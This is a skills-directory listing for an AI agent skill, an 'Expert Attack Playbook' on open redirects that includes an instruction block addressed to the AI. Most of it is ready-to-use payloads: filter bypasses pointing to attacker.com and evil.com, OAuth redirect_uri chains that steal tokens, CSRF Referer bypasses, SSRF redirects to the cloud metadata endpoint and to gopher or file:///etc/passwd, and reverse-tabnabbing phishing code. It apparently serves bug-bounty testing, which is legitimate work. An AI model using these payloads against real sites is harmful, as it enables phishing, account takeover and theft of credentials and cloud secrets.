Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.
Scanned 9/12/2026
Install to Claude Code
npx -y skills add ShulkwiSEC/bb-huge --skill open-redirect --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Open Redirect?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/shulkwisec-open-redirect)More formats (shields.io, HTML) on the badges page.
---
name: open-redirect
description: >-
Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.
---
# SKILL: Open Redirect — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.
## 1. CORE CONCEPT
Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.
```
https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com
```
---
## 2. FINDING REDIRECT PARAMETERS
### Common Parameter Names
```text
?url= ?redirect= ?next= ?dest=
?destination= ?redir= ?return= ?returnUrl=
?go= ?forward= ?target= ?out=
?continue= ?link= ?view= ?to=
?ref= ?callback= ?path= ?rurl=
```
### Server-Side Sinks
```
HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
```
### Client-Side (JavaScript) Sinks
```javascript
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input
```
---
## 3. FILTER BYPASS TECHNIQUES
| Validation | Bypass |
|---|---|
| Checks if URL starts with `/` | `//evil.com` (protocol-relative) |
| Checks domain contains `trusted.com` | `evil.com?trusted.com` or `trusted.com.evil.com` |
| Blocks `http://` | `//evil.com`, `https://evil.com`, `\/\/evil.com` |
| Checks URL starts with `https://trusted.com` | `https://trusted.com@evil.com` (userinfo) |
| Regex `^/[^/]` (relative only) | `/\evil.com` (backslash treated as path in some browsers) |
| Django `endswith('target.com')` | `http://evil.com/www.target.com` — URL path ends with target domain |
| Whitelist by domain suffix | Subdomain takeover on `*.trusted.com` |
```text
# Protocol-relative:
//evil.com
# Userinfo bypass:
https://trusted.com@evil.com
# Backslash trick:
/\evil.com
/\/evil.com
# URL encoding:
https://trusted.com/%2F%2Fevil.com
# Django endswith bypass:
http://evil.com/www.target.com
http://evil.com?target.com
# Trusted site double-redirect (e.g., via Baidu link service):
https://link.target.com/?url=http://evil.com
# Special character confusion:
http://evil.com#@trusted.com # fragment as authority
http://evil.com?trusted.com # query string confusion
http://trusted.com%00@evil.com # null byte truncation
# Tab/newline in URL (browser ignores whitespace):
java%09script:alert(1)
```
---
## 4. EXPLOITATION CHAINS
### Phishing Amplification
Attacker sends: `https://bigbank.com/redirect?url=https://bigbank-login.evil.com`
Victim sees `bigbank.com` → clicks → enters credentials on clone site.
### OAuth Token Theft
If OAuth `redirect_uri` allows open redirect on the authorized domain:
```
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ Authorization code or token appended to evil.com URL
→ Attacker captures token from URL fragment or query
```
### CSRF Referer Bypass
Some CSRF protections check `Referer` header contains trusted domain:
```
1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
2. Redirect preserves Referer from trusted.com
3. CSRF protection passes because Referer = trusted.com
```
### SSRF via Redirect
When server follows redirects:
```
?url=https://attacker.com/redirect-to-internal
# attacker.com returns 302 → http://169.254.169.254/
# Server follows redirect → SSRF to metadata endpoint
```
---
## 5. TESTING CHECKLIST
```
□ Identify all URL parameters that trigger redirects
□ Test external domain: ?url=https://evil.com
□ Test protocol-relative: ?url=//evil.com
□ Test userinfo bypass: ?url=https://trusted.com@evil.com
□ Test backslash: ?url=/\evil.com
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
□ Check OAuth flows for redirect_uri open redirect
□ Verify if redirect preserves auth tokens in URL
```
---
## 6. TABNABBING (REVERSE TABNABBING)
### Concept
When a link opens a new tab with `target="_blank"` WITHOUT `rel="noopener"`:
- The new page can access `window.opener`
- It can redirect the ORIGINAL page: `window.opener.location = "https://phishing.com/login"`
- User returns to "original" tab → sees fake login page → enters credentials
### Detection
```html
<!-- Vulnerable: -->
<a href="https://external.com" target="_blank">Click here</a>
<!-- Safe: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
```
### Exploitation
```javascript
// On the attacker-controlled page (opened via target="_blank"):
if (window.opener) {
window.opener.location = "https://phishing.com/fake-login.html";
}
```
### Where to Look
- User-generated content with links (forums, comments, profiles)
- `target="_blank"` links to external domains
- PDF viewers, document previews opening in new tabs
---
## 7. OPEN REDIRECT → OAUTH TOKEN THEFT (DETAILED CHAINS)
### 7.1 OAuth Implicit Flow
In the implicit flow, the access token is returned in the URL fragment (`#access_token=...`). If `redirect_uri` allows an open redirect on the authorized domain:
```text
/authorize?response_type=token
&client_id=CLIENT
&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
&scope=read
Flow:
1. User authenticates → authorization server redirects to:
https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. Open redirect fires → browser navigates to:
https://evil.com#access_token=SECRET
3. Attacker page reads location.hash → captures access token
```
### 7.2 Authorization Code Flow
The authorization code is sent as a query parameter. If the redirect chain preserves query parameters:
```text
/authorize?response_type=code
&client_id=CLIENT
&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
Flow:
1. Authorization server validates redirect_uri prefix → matches https://target.com/
2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE
4. Attacker exchanges code for access token
```
### 7.3 OIDC id_token Fragment Leak
```text
/authorize?response_type=id_token
&client_id=CLIENT
&redirect_uri=https://target.com/cb
&nonce=NONCE
If redirect_uri points to open redirect endpoint:
→ id_token in fragment sent to attacker
→ Attacker has signed identity assertion
→ Can authenticate as victim on any RP accepting this IdP
```
### 7.4 redirect_uri validation bypass patterns
```text
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%23@evil.com
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com
```
---
## 8. OPEN REDIRECT → SSRF CHAIN
### Server-side redirect following
When a server-side component follows HTTP redirects (e.g., URL preview, link unfurler, webhook, image fetcher):
```text
1. Submit URL to server-side fetcher: http://attacker.com/redirect
2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/
3. Server follows redirect → SSRF to cloud metadata endpoint
4. Response (IAM credentials) returned to attacker or visible in preview
```
### Multi-hop redirect for filter bypass
```text
1. Server blocks direct requests to 169.254.169.254
2. Submit: http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2 (same domain, passes filter)
4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)
```
### DNS rebinding variant
```text
1. attacker.com resolves to attacker's public IP (TTL=0)
2. Server resolves attacker.com → public IP → passes SSRF filter
3. Connection established, but HTTP redirect points to attacker.com again
4. Second DNS resolution: attacker.com now resolves to 169.254.169.254
5. Server follows redirect to internal address
```
### Scope escalation via redirect protocols
```text
http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd (local file read)
http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached)
```
Not all HTTP clients follow cross-protocol redirects, but `curl` (default) and some libraries do.
---
## 9. URL PARSER CONFUSION FOR REDIRECT BYPASS
When a redirect validation function parses the URL differently from the browser or server that ultimately processes it:
### Protocol-relative URL
```text
//attacker.com
→ Browser: https://attacker.com (inherits current page protocol)
→ Some validators: relative path "/attacker.com" (wrong)
```
### Backslash confusion
```text
\/\/attacker.com
/\/attacker.com
→ Many browsers normalize \ to / in URLs
→ Validators treating \ as path character may allow it
```
### Userinfo section abuse
```text
//attacker.com\@target.com
→ Browser: navigates to attacker.com (@ is userinfo delimiter)
→ Validator sees "target.com" in the string → passes allowlist check
//target.com@attacker.com
→ Browser: userinfo=target.com, host=attacker.com
→ Validator checks "starts with target.com" → passes
https://target.com%2F@attacker.com
→ URL-decoded: target.com/ as userinfo, host=attacker.com
```
### Double encoding
```text
//attacker%252ecom
→ First decode: //attacker%2ecom (passes validator)
→ Second decode (by server/browser): //attacker.com (actual redirect)
```
### CRLF injection + redirect
```text
/%0d%0aLocation:%20https://attacker.com
→ If server reflects the path in a header context:
HTTP/1.1 302 Found
Location: /
Location: https://attacker.com ← injected header wins
```
### Fragment confusion
```text
https://target.com#@attacker.com
→ Browser: host=target.com, fragment=@attacker.com
→ But some JS-based redirects: window.location = url → may process differently
https://attacker.com#.target.com
→ Validator: sees "target.com" in string → passes
→ Browser: navigates to attacker.com (fragment ignored in navigation)
```
### Special characters
```text
https://attacker.com%E3%80%82target.com
→ Unicode ideographic full stop (U+3002) — some parsers treat as dot
→ Browser may normalize differently than validator
https://attacker。com (U+3002 fullwidth period)
https://attacker.com (U+FF0E fullwidth full stop)
```
### Combined URL parser differential table
| Payload | Validator Sees | Browser Navigates To |
|---------|---------------|---------------------|
| `//evil.com` | Relative path | `https://evil.com` |
| `\/\/evil.com` | Path `\/\/evil.com` | `https://evil.com` |
| `//evil.com\@target.com` | Contains `target.com` | `https://evil.com` |
| `//target.com@evil.com` | Starts with `target.com` | `https://evil.com` |
| `/%0d%0aLocation: https://evil.com` | Path string | Header injection → redirect |
| `//evil%252ecom` | `evil%2ecom` (not a domain) | `evil.com` (after double decode) |
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!